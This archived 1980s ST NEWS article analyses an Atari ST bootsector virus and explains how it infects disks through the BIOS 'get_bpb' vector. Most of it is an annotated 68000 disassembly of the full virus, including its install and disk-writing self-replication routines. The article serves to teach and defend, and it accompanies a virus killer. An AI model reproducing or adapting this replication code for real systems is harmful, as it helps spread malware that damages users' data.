Skip to main content

VIRUSES ON THE ATARI ST by Richard Karsmakers

As you might already have noticed,  this time's issue of ST  NEWS 
is  filled with articles about an extraordinary  phenomenon  that 
has appeared on the ST recently: The VIRUS.
The  English dictionary states that a virus is 'a  contagious  or 
poisonous matter',  'the poison which causes infection' and  'any 
foul, hurtful matter'. What this has to do with the ST? Read this 
article  (as  well as this time's 'Editorial')  and  you'll  know 
exactly what I'm talking about.

Please  allow  me  to  explain what  a  'virus'  is;  is  it  the 
computer's equivalent of AIDS?  Now you mention it,  I think  the 
resemblance is quite striking.  AIDS isn't visible in its initial 
stages - neither is the ST's virus.  AIDS can in fact turn out to 
be quite harmless - so can the virus. And.....AIDS can kill you - 
something that the ST's virus can do to your disks.

A  'virus'  can be described as something that works as  a  time-
bomb: It will multiply itself while remaining unseen, and will be 
activated  whenever a certain condition is true.  This  condition 
can be a certain timer value in your computer system,  a specific 
number  of  virus  multiplications or (as is the  case  with  the 
current  ST virus) it can become active when a certain  value  is 
written on a certain location on a certain disk sector.

A  virus  is  installed in your computer when you  boot  up  your 
system with an infected disk in the boot device.  This will  most 
probably be drive A,  but can theoretically also be a harddisk or 
even  a  reset-resistant  RAMdisk.  The  virus  that's  currently 
roaming  on  the ST installs itself as an extension of  the  BIOS 
function  "get_bpb";  this routine is called from  the  operating 
system  whenever a new directory is read after swapping disks  or 
when  a disk has just been formatted.  Thus,  the virus can  copy 
itself  to any disk that you happen to read the  dierctory  from, 
and  it also writes itself on any disk that you happen to  format 
while your computer is infected.  Lucky enough, the current virus 
is  not able to write through the write-protect notch  (in  which 
case it would be able to multiply itself on disks that are write-
protected), and is not reset-resistant (reset destroys it).
In fact,  the virus might in fact be called an ingenious piece of 
programming.  However neat it might be, it should be removed from 
ALL  your disks!  To assist you in achieving this quest,  I  have 
written a virus killer that is also present on this ST NEWS disk. 
A seperate article in this issue will explain how it works.

How does the current virus work?

The virus is located on the bootsector of an infected disk. It is 
loaded  into computer memory as you boot up your system with  the 
infected  disk in the boot device - ONLY WHEN THE  BOOTSECTOR  OF 
THAT  DISK  IS EXECUTABLE!  On a regular ST,  the  bootsector  is 
loaded  in  memory  at  $167A  (hexadecimal).  After  the  actual 
bootsector is loaded, it is executed from that address and adapts 
the  BIOS function "get_bpb" so that it jumps through  the  virus 
routine  after calling the actual  "get_bpb".  Then,  it  returns 
control  to  the computer.  Your system is now infected  and  the 
virus waits to strike.

Let's  have  a look at the disassembled listing  of  an  infected 
bootsector, loaded in memory at $50000.

50000 BRA     $05003A
5003A LEA     $50000(PC),A0          Load $50000 in A0
5003E MOVE.L  $0004C6,A1             Load _dskbufp in A1
50044 ADDA.L  #$00000600,A1          Add $600 to _dskbufp value
5004A MOVE.L  A1,A2                  Copy A1 to A2
5004C MOVE.W  #$0100,D0              Sector length in D0
50050 MOVE.W  (A0)+,(A1)+            Copy bootsector to buffer
50052 SUBQ.W  #1,D0
50054 BPL     $050050
50056 LEA     $050064(PC),A0         Address of install routine
5005A LEA     $050000(PC),A1
5005E SUBA.L  A1,A0                  Relative address
50060 ADDA.L  A0,A2
50062 JMP     (A2)                   Execute install routine
50064 LEA     $05012C(PC),A0         Buffer address for old
                                      'get_bpb' vector
50068 MOVE.L  $000472,(A0)           Copy 'get_bpb' vector
5006E LEA     $05007A(PC),A0         Install new address
50072 MOVE.L  A0,$000472             Copy it to 'get_bpb' vector
50078 RTS                            Virus is now installed

Now  follows the actual adapted 'get_bpb' function.  This is  the 
actual  virus,  executed whenever the BIOS function 'get_bpb'  is 
called.

5007A LINK    A6,#$0000
5007E MOVE.W  $0008(A6),-(A7)        Current drive number
50082 MOVE.L  $05012C(PC),A0         Load old 'get_bpb' address
50086 JSR     (A0)                   Execute normal 'get_bpb'
50088 ADDQ.L  #2,A7                  Restore stack
5008A MOVEM.L D0/A0-A1,-(A7)         Save registers for actual
                                      virus routine
5008E LEA     $050130(PC),A0         Load address of $0001 value
50092 TST.W   (A0)                   $0000?
50094 BEQ     $050124                No; leave routine
50098 MOVE.L  $0004C6,A0             Get _dskbufp
5009E MOVE.W  (A0),D0                Get first two bytes of boot
                                      sector from memory
500A0 CMP.W   #$6038,D0              Is it a virus bootsector?
500A4 BEQ     $050104                Yes! Then check if key there
500A6 LEA     $050000(PC),A1         Start of bootsector address
500AA MOVE.W  (A1)+,(A0)+            Copy branch to disk buffer
500AC MOVE.W  (A1)+,(A0)+            Copy more
500AE MOVE.W  (A1)+,(A0)+
500B0 ADDA.L  #$00000032,A1          Jump over bootsector BPB
500B6 ADDA.L  #$00000032,A0
500BC MOVE.W  #$00E7,D0              $E7 bytes still to copy
500C0 MOVE.W  (A1)+,(A0)+            Copy to diskbuffer
500C2 SUBQ.W  #1,D0
500C4 BNE     $0500C0
500C6 MOVE.W  #$0001,-(A7)           Executable bootsector flag
500CA MOVE.W  #$FFFF,-(A7)           Don't change disk type
500CE MOVE.L  #$FFFFFFFF,-(A7)       Don't change serial number
500D4 MOVE.L  $0004C6,-(A7)          Address to use as buffer
500DA MOVE.W  #$0012,-(A7)           Xbios 12, Protobt
500DE TRAP    #14
500E0 MOVE.W  #$0001,-(A7)           Sectorcount=1
500E4 CLR.L   -(A7)                  Track and side=0
500E6 MOVE.W  #$0001,-(A7)           Sector=1
500EA MOVE.W  $0008(A6),-(A7)        Current device
500EE CLR.L   -(A7)                  Filler
500F0 MOVE.L  $0004C6,-(A7)          Buffer to write on disk
500F6 MOVE.W  #$0009,-(A7)           Xbios 9, Flopwrite
500FA TRAP    #14
500FC ADDA.L  #$00000022,A7          Correct stack
50102 BRA     $050124                Leave virus routine
50104 MOVE.W  $0002(A0),D0           Second and third byte of
                                      boot sector to D0 
50108 CMP.W   #$1092,D0              Key set?
5010C BNE     $050124                No: Leave virus routine

This  is where things go wrong (only if the 'key' has a value  of 
$1092 hexadecimal):

5010E LEA     $050000(PC),A1         Bootsector adress in A1
50112 MOVE.L  $0002(A1),D0           Address of $10920000 value
50116 CMP.W   $0004(A0),D0           Compare with byte 3 and 4 of
                                      current bootsector
5011A BGT     $050124
5011C JSR     (A0)                   Recursive jump - never exits
5011E LEA     $050130(PC),A0         Address of $0001 value
50122 CLR.W   (A0)                   Clear it to $0000
50124 MOVEM.L (A7)+,D0/A0-A1         Exit virus routine
50128 UNLK    A6
5012A RTS
5012C $FC0DE6
50130 $0001
The virus in the form that I discovered is quite harmless, really 
- but just wait until the 'key' sets the bootsector bytes 3 and 4 
to $1092......Things can go awfully wrong then!

So you'd better start using the viruskiller in this ST NEWS issue 
immediately  and check all your disks - especially the ones  that 
you keep un-writeprotected most of the time (your workdisks).

Disclaimer
The text of the articles is identical to the originals like they appeared in old ST NEWS issues. Please take into consideration that the author(s) was (were) a lot younger and less responsible back then. So bad jokes, bad English, youthful arrogance, insults, bravura, over-crediting and tastelessness should be taken with at least a grain of salt. Any contact and/or payment information, as well as deadlines/release dates of any kind should be regarded as outdated. Due to the fact that these pages are not actually contained in an Atari executable here, references to scroll texts, featured demo screens and hidden articles may also be irrelevant.